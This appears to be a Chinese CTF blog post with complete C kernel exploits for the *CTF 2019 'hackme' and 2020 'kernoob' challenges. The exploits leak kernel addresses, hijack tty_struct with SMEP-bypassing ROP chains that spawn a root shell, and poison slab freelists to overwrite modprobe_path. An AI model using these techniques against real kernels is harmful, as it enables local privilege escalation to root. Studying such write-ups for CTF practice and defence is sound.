前言

最近基本都在玩,偶尔看看CTF,就贴两个可以用内核堆机制(slab/slub分配机制)来做的题,顺便也贴一下用其他方法做的版本。

*CTF 2019 hackme

方法一:

劫持tty_struct,走ROP链绕过SMEP,并将gadget写到内核堆上,绕过SMAP

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

int fd, fd2;
size_t kernel_base, heap_addr;
size_t prepare_kernel_cred_addr, commit_creds_addr;
struct stu
{
	size_t index;
	size_t *user_buf;
	size_t len;
	size_t offset;
}heap;
size_t tty_struct[0x410] = {0}, rop[0x30] = {0};
size_t *fake_ops[0x30] = {0};

void get_root()
{
    // commit_creds(prepare_kernel_cred(0))
    char *(*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char *) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

void get_shell()
{
    system("/bin/sh");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}

void add(size_t idx, size_t size, size_t *buf)
{
	heap.index = idx;
	heap.len = size;
	heap.user_buf = buf;
	ioctl(fd, 0x30000, &heap);
}

void delete(size_t idx)
{
	heap.index = idx;
	ioctl(fd, 0x30001, &heap);
}

void edit(size_t idx, size_t pos, size_t size, size_t *buf)
{
	heap.index = idx;
	heap.offset = pos;
	heap.len = size;
	heap.user_buf = buf;
	ioctl(fd, 0x30002, &heap);
}

void show(size_t idx, size_t pos, size_t size, size_t *buf)
{
	heap.index = idx;
	heap.offset = pos;
	heap.len = size;
	heap.user_buf = buf;
	ioctl(fd, 0x30003, &heap);
}

int main()
{
	save_status();
	fd = open("/dev/hackme", 0);
	size_t buf[0x200];
	add(0, 0x100, buf);
	show(0, -0x200, 0x200, buf);
	kernel_base = buf[0] - 0x8472c0;
	printf("kernel_base: %p\n", kernel_base);
	prepare_kernel_cred_addr = kernel_base + 0x4d3d0;
	printf("prepare_kernel_cred_addr: %p\n", prepare_kernel_cred_addr);
	commit_creds_addr = kernel_base + 0x4d220;
	printf("commit_creds_addr: %p\n", commit_creds_addr);
	add(1, 0x100, buf);
	add(2, 0x100, buf);
	delete(0);
	delete(1);
	// 1 -> 0
	show(2, -0x100, 0x100, buf);
	heap_addr = buf[0]; // chunk 0
	printf("heap_addr: %p\n", heap_addr);
    
    size_t push_rax_pop_rsp_addr = kernel_base + 0x608d5; //push rax ; pop rsp ; cmp qword ptr [rdi + 8], rdx ; jae 0xffffffff810608e8 ; ret
    fake_ops[7] = push_rax_pop_rsp_addr; // write ( rax: &fake_ops[0] )
    size_t pop_rsp_addr = kernel_base + 0x484f0; // pop rsp; ret;
    fake_ops[0] = pop_rsp_addr;
    fake_ops[1] = heap_addr + 0x100;
    edit(2, -0x200, 0x200, fake_ops);
    
    int cnt = 0;
    size_t pop_rax_addr = kernel_base + 0x1b5a1; // pop rax; ret;
    rop[cnt++] = pop_rax_addr;
    rop[cnt++] = 0x6f0; // cr4 with smep disabled
    size_t mov_cr4_rax_addr = kernel_base + 0x252b; // mov cr4, rax; push rcx; popfq; pop rbp; ret;
    rop[cnt++] = mov_cr4_rax_addr;
    rop[cnt++] = 0; // rbp
    rop[cnt++] = (size_t)get_root;
    size_t swapgs_addr = kernel_base + 0x200c2e; // swapgs; popfq; pop rbp; ret;
    rop[cnt++] = swapgs_addr;
    rop[cnt++] = 0; // popfq
    rop[cnt++] = 0; // rbp
    size_t iretq_addr = kernel_base + 0x19356; // iretq; pop rbp; ret; 
    rop[cnt++] = iretq_addr;
    rop[cnt++] = (size_t)get_shell;
    rop[cnt++] = user_cs;
    rop[cnt++] = user_rflags;
    rop[cnt++] = user_sp;
    rop[cnt++] = user_ss;
    edit(2, -0x100, 0x100, rop);
    
	add(3, 0x2e0, buf); // 0x400
	add(4, 0x2e0, buf);
	delete(3);
	fd2 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
	printf("%d\n", fd2);
	show(4, -0x400, 0x400, tty_struct);
	tty_struct[3] = heap_addr;
	edit(4, -0x400, 0x400, tty_struct);
	write(fd2, "attack", 6); // trigger
	return 0;
}

方法二:

通过控制堆的next指针,进行任意地址分配,修改modprode_path,得到权限get flag

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

int fd;
size_t kernel_base, mod_tree_addr, modprobe_path_addr;
size_t driver_base, pool_addr;
struct stu
{
	size_t index;
	size_t *user_buf;
	size_t len;
	size_t offset;
}heap;

void gen_test()
{
    puts("[+] Prepare chmod file.");
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /home/pwn/copy.sh");
    system("chmod +x /home/pwn/copy.sh");

    puts("[+] Prepare trigger file.");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/winmt");
    system("chmod +x /home/pwn/winmt");
}

void add(size_t idx, size_t size, size_t *buf)
{
	heap.index = idx;
	heap.len = size;
	heap.user_buf = buf;
	ioctl(fd, 0x30000, &heap);
}

void delete(size_t idx)
{
	heap.index = idx;
	ioctl(fd, 0x30001, &heap);
}

void edit(size_t idx, size_t pos, size_t size, size_t *buf)
{
	heap.index = idx;
	heap.offset = pos;
	heap.len = size;
	heap.user_buf = buf;
	ioctl(fd, 0x30002, &heap);
}

void show(size_t idx, size_t pos, size_t size, size_t *buf)
{
	heap.index = idx;
	heap.offset = pos;
	heap.len = size;
	heap.user_buf = buf;
	ioctl(fd, 0x30003, &heap);
}

int main()
{
	gen_test();
	fd = open("/dev/hackme", 0);
	size_t buf[0x200];
	add(0, 0x100, buf);
	show(0, -0x200, 0x200, buf);
	kernel_base = buf[0] - 0x8472c0;
	printf("kernel_base: %p\n", kernel_base);
	mod_tree_addr = kernel_base + 0x811000;
	printf("mod_tree_addr: %p\n", mod_tree_addr);
	modprobe_path_addr = kernel_base + 0x83f960;
	printf("modprobe_path_addr: %p\n", modprobe_path_addr);
	
	add(1, 0x100, buf);
	add(2, 0x100, buf);
	delete(0);
	delete(1);
	// 1 -> 0  =>  mod_tree_addr + 0x30
	buf[0] = mod_tree_addr + 0x30;
	edit(2, -0x100, 0x100, buf);
	add(3, 0x100, buf); // 1
	add(4, 0x100, buf); // mod_tree_addr + 0x30
	show(4, -0x20, 0x20, buf);
	driver_base = buf[0] - 0x2338;
	printf("driver_base: %p\n", driver_base);
	pool_addr = driver_base + 0x2400;
	printf("pool_addr: %p\n", pool_addr);
	
	add(5, 0x100, buf);
	add(6, 0x100, buf);
	add(7, 0x100, buf);
	delete(5);
	delete(6);
	// 6 -> 5
	buf[0] = pool_addr + 0xa0;
	edit(7, -0x100, 0x100, buf);
	add(8, 0x100, buf); // 6
	add(9, 0x100, buf); // pool[index_10]
	buf[0] = modprobe_path_addr;
	buf[1] = 0x100;
	edit(9, 0, 0x10, buf);
	char *path = "/home/pwn/copy.sh\x00";
	edit(10, 0, 18, path);
	system("cat /proc/sys/kernel/modprobe");
	return 0;
}

2020 高校战“疫”网络安全分享赛 kernoob

方法一:

条件竞争,劫持tty_struct,走ROP链绕过SMEP

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

size_t prepare_kernel_cred_addr = 0xffffffff810ad7e0;
size_t commit_creds_addr = 0xffffffff810ad430;
int sign = 1;

size_t tty_struct[5] = {0}, rop[30] = {0};
size_t *fake_ops[30] = {0};

struct Chunks
{
	uint64_t index;
	char *buf;
	uint64_t size;
}chunk;

void get_root()
{
    // commit_creds(prepare_kernel_cred(0))
    char *(*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char *) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

void get_shell()
{
    system("/bin/sh");
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
	asm(
		"movq %%cs, %0\n"
		"movq %%ss, %1\n"
		"movq %%rsp, %3\n"
		"pushfq\n"
		"popq %2\n"
		:"=r"(user_cs), "=r"(user_ss), "=r"(user_rflags),"=r"(user_sp)
 		:
 		: "memory"
 	);
}

void change_size(struct Chunks *chunk)
{
	while(sign)
	{
		chunk -> size = 0x2e0;
	}
}

int main()
{
	save_status();
	int fd = open("/dev/noob", O_RDWR);
	chunk.index = 0;
	chunk.size = 0;
	pthread_t malicious_thread;
	pthread_create(&malicious_thread, NULL, change_size, &chunk);
	while(1)
	{
		chunk.size = 0;
		if(ioctl(fd, 0x30000, &chunk) == 0) break;
	}
	sign = 0;
	pthread_join(malicious_thread, NULL);
	
	chunk.index = 0;
	chunk.size = 0x2e0;
	ioctl(fd, 0x30001, &chunk);
	
	int fd2 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
	chunk.index = 0;
	chunk.buf = (size_t)tty_struct;
	chunk.size = 0x20;
	ioctl(fd, 0x30003, &chunk);
	size_t xchg_eax_esp_addr = 0xffffffff8101db17; // xchg eax, esp; ret;
    fake_ops[12] = xchg_eax_esp_addr; // ioctl  rax
	tty_struct[3] = (size_t)fake_ops;
	ioctl(fd, 0x30002, &chunk);
	
	size_t esp_addr = xchg_eax_esp_addr & 0xffffffff;
    size_t base_addr = esp_addr & ~0xfff;
    mmap(base_addr, 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    
    int cnt = 0;
    size_t pop_rdi_addr = 0xffffffff8107f460;
    rop[cnt++] = pop_rdi_addr; // pop rdi; ret;
    rop[cnt++] = 0x6f0; // cr4 with smep disabled
    size_t mov_cr4_rdi_addr = 0xffffffff8101f2f0;
    rop[cnt++] = mov_cr4_rdi_addr; // mov cr4, rdi; pop rbp; ret;
    rop[cnt++] = 0; // rbp
    rop[cnt++] = (size_t)get_root;
    size_t swapgs_addr = 0xffffffff81069bd4;
    rop[cnt++] = swapgs_addr; // swapgs; pop rbp; ret;
    rop[cnt++] = 0; // rbp
    size_t iretq_addr = 0xffffffff81034edb;
    rop[cnt++] = iretq_addr; // iretq; pop rbp; ret;
    rop[cnt++] = (size_t)get_shell;
    rop[cnt++] = user_cs;
    rop[cnt++] = user_rflags;
    rop[cnt++] = user_sp;
    rop[cnt++] = user_ss;
    memcpy(esp_addr, rop, sizeof(rop));
    
    ioctl(fd2, 0, 0); // call rax
	return 0;
}

方法二:

劫持内核堆的next指针,任意地址分配到pool,并将存放的堆指针改为modprode_path的地址,就可以任意写了,注意要绕过CONFIG_SLAB_FREELIST_HARDENED防护。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

struct Chunks
{
	uint64_t index;
	char *buf;
	uint64_t size;
}chunk, heap[5];

void gen_test()
{
    puts("[+] Prepare chmod file.");
    system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /home/pwn/copy.sh");
    system("chmod +x /home/pwn/copy.sh");

    puts("[+] Prepare trigger file.");
    system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/winmt");
    system("chmod +x /home/pwn/winmt");
}

int main()
{
	int fd = open("/dev/noob", O_RDWR);
	// leak heap_addr
	chunk.size = 0x60;
	int cnt = 0;
	size_t leak_data[0x100] = {0};
	chunk.buf = (size_t)leak_data;
	for(int i=0;i<0x18;i++)
	{
		chunk.index = i;
		ioctl(fd, 0x30000, &chunk);
		ioctl(fd, 0x30003, &chunk);
		size_t ptr = leak_data[5];
		// printf("%p\n", ptr);
		if((ptr >> 40) == 0xffff88)
		{
			heap[cnt].index = i;
			heap[cnt].buf = ptr - 0x28;
			heap[cnt].size = 0x60;
			cnt++;
			if(cnt == 2) break;
		}
	}
	for(int i=0;i<2;i++) printf("num: %d ptr: %p\n", heap[i].index, heap[i].buf);
	
	// chunk1 -> chunk0
	chunk.index = heap[0].index;
	ioctl(fd, 0x30001, &chunk);
	chunk.index = heap[1].index;
	ioctl(fd, 0x30001, &chunk);
	
	// chunk0's fd = chunk0's addr ^ random ^ 0
	chunk.index = heap[0].index;
	ioctl(fd, 0x30003, &chunk);
	size_t random;
	random = leak_data[0] ^ (size_t)heap[0].buf;
	printf("random: %p\n", random);
	
	size_t driver_base = 0xffffffffc0002000;
	size_t magic_addr = (random ^ driver_base) >> 32;
	mmap((magic_addr & 0xfffff000), 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	// size_t magic_fd = magic_addr ^ random ^ (size_t)heap[0].buf;
	size_t magic_fd = magic_addr ^ random;
	memcpy(magic_addr, &magic_fd, 8);
	
	size_t pool_addr = 0xffffffffc00044c0;
	size_t pool_19_addr = pool_addr + 0x19*8*2; // pool[0x19]
	size_t fake_ptr = (pool_19_addr - 0x8/2) ^ random ^ (magic_addr << 32);
	mmap((fake_ptr & 0xfffff000), 0x1000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	size_t fake_fd = fake_ptr ^ random;
	memcpy(fake_ptr, &fake_fd, 8);
	
	size_t fake_chunk1_fd = random ^ (size_t)heap[1].buf ^ magic_addr;
	size_t fake_chunk0_fd = random ^ (size_t)heap[0].buf ^ (pool_19_addr - 0x8/2);
	
	chunk.index = heap[1].index;
	chunk.buf = &fake_chunk1_fd;
	chunk.size = 8;
	ioctl(fd, 0x30002, &chunk);
	chunk.index = heap[0].index;
	chunk.buf = &fake_chunk0_fd;
	chunk.size = 8;
	ioctl(fd, 0x30002, &chunk);
	
	chunk.size = 0x60;
	chunk.index = 0x18;
	ioctl(fd, 0x30000, &chunk);
	chunk.index = 0x19;
	ioctl(fd, 0x30000, &chunk); // pool[0x19] = magic_addr  0xffffffffc0004650
	
	chunk.index = 0x1a;
	ioctl(fd, 0x30000, &chunk);
	chunk.index = 0x1b;
	ioctl(fd, 0x30000, &chunk); // pool[0x1b] = 0xffffffffc0004650 - 0x8/2
	
	chunk.index = 0x1c;
	ioctl(fd, 0x30000, &chunk); 
	
	size_t modprobe_path = 0xffffffff8245aba0;
	chunk.index = 0x1b;
	char overwrite[0x20];
	memcpy(overwrite+4, &modprobe_path, 8);
	chunk.buf = overwrite;
	chunk.size = 12;
	ioctl(fd, 0x30002, &chunk); // pool[0x19] = modprobe_path
	
	chunk.index = 0x19;
	char *path = "/home/pwn/copy.sh\x00";
	chunk.buf = path;
	chunk.size = 18;
	ioctl(fd, 0x30002, &chunk);
	system("cat /proc/sys/kernel/modprobe");
	gen_test();
	return 0;
}

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2021-04-30
  • 2022-12-23
  • 2021-04-18
  • 2021-03-31
  • 2022-12-23
  • 2021-09-15
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2021-12-24
  • 2021-10-25
  • 2021-10-04
  • 2021-10-13
  • 2022-01-31
相关资源
相似解决方案